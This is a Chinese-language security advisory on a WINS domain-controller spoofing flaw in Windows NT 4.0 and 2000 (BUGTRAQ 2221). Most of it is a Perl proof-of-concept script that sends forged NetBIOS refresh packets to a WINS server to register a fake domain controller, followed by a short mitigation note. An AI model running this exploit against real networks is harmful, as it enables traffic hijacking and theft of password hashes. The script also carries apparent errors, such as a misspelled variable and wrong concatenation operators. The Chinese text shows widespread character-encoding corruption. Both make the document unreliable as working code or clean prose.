Microsoft WINS之域控制器欺騙漏洞
Microsoft WINS之域控制器欺騙漏洞如下所述:
受影響系統(tǒng):
Microsoft Windows NT 4.0
Microsoft Windows NT 2000 Server
描述:
BUGTRAQ ID :2221
Windows Internet名字服務(wù)(WINS)隨著微軟Windows NT服務(wù)器分發(fā)。WINS負(fù)責(zé)在一個(gè)客戶-服務(wù)器的環(huán)境中將網(wǎng)絡(luò)計(jì)算機(jī)名解析為IP地址。
然而,WINS沒(méi)有正確驗(yàn)證域控制器的注冊(cè)。用戶可能修改一個(gè)域控制器的內(nèi)容,導(dǎo)致WINS服務(wù)將發(fā)往域控制器的請(qǐng)求重定向到另一個(gè)系統(tǒng)。這可能導(dǎo)致該域的網(wǎng)絡(luò)功能失效。冒牌的域控制器也可以被設(shè)置來(lái)竊取用戶名和口令的哈希值。
測(cè)試方法:
警 告
以下程序(方法)可能帶有攻擊性,僅供安全研究與教學(xué)之用。使用者風(fēng)險(xiǎn)自負(fù)!
David Byrne (dbyrne@tiaa-cref.org)提供了一個(gè)測(cè)試程序wins2.pl:
###########################################################################
- use Socket;
- $WINSAddress = "XXX.XXX.XXX.XXX"; #IP Address or Host/NetBIOS name
- $DomainName = "AAADUMMY"; #Must be all caps
- $SequenceNumber = 0x8000;
- socket(SOCKET, PF_INET, SOCK_DGRAM, getprotobyname("udp")) or die "Socket not created $!\n";
- $destAddress = inet_aton($WINSAddress);
- $destPort = sockaddr_in(137, $destAddress);
- for ($i=1;$i<=25; $i++)
- {SendRefresh ($DomainName, 0x1C, "\x0a\x6a\x00" . chr ($i))}
- sub Sequence
- {
- my ($high, $low, $str);
- $high = $SequenceNumber >> 8;
- $low = $SequenceNumber % 256;
- $SequenceNumber += 2;
- $str = chr($high) . chr ($low);
- return $str;
- }
#p#
- sub SendRelease
- {
- my ($tempname, $data);
- $tempname = NetBIOSName ($_[0], $_[1]);
- $data = Sequence () . "\x30\x00\x00\x01\x00\x00\x00\x00\x00\x01\x20" .. $tempname . "\x00\x00\x20\x00\x01\xc0\x0c\x00\x20\x00\x01\x00\x00\x00\x00\x00\x06\x20\x00" . $_[2];
- send (SOCKET, $data, 0, $destPort) == length($data) or die "Failed to send packet: $!\n";
- }
- sub SendRefresh
- {
- my ($tempname, $data);
- $tempname = NetBIOSName ($_[0], $_[1]);
- $data = Sequence () . "\x29\x00\x00\x01\x00\x00\x00\x00\x00\x01\x20" .. $tempname . "\x00\x00\x20\x00\x01\xc0\x0c\x00\x20\x00\x01\x00\x04\x93\xe0\x00\x06\xe0\x00" . $_[2];
- send (SOCKET, $data, 0, $destPort) == length($data) or die "Failed to send packet: $!\n";
- }
- sub NetBIOSName
- {
- my ($c, $ord, $high, $low, $tempname);
- while ($_[0] =~ /(.)/g)
- {
- $c++;
- $ordord = ord ($1);
- $high = $ord >> 4;
- $low = $ord % 16;
- $tempname .= chr($high +65) . chr($low +65);
- }
- for (;$c<15;$c++)
- {$tempname .= "\x43\x41"}
- $high = $_[1] >> 4;
- $low = $_[1] % 16;
- $tempname .= chr($high +65) . chr($low +65);
- return $tempname;
- }
建議:
臨時(shí)解決方法:
NSFOCUS建議您采用David Byrne提供的臨時(shí)解決方法:對(duì)于敏感信息,采用靜態(tài)記錄。并在防火墻的DMZ區(qū)封鎖NetBIOS服務(wù)。
Microsoft WINS域控制器欺騙漏洞的介紹希望能夠?qū)ψx者有所幫助。
【編輯推薦】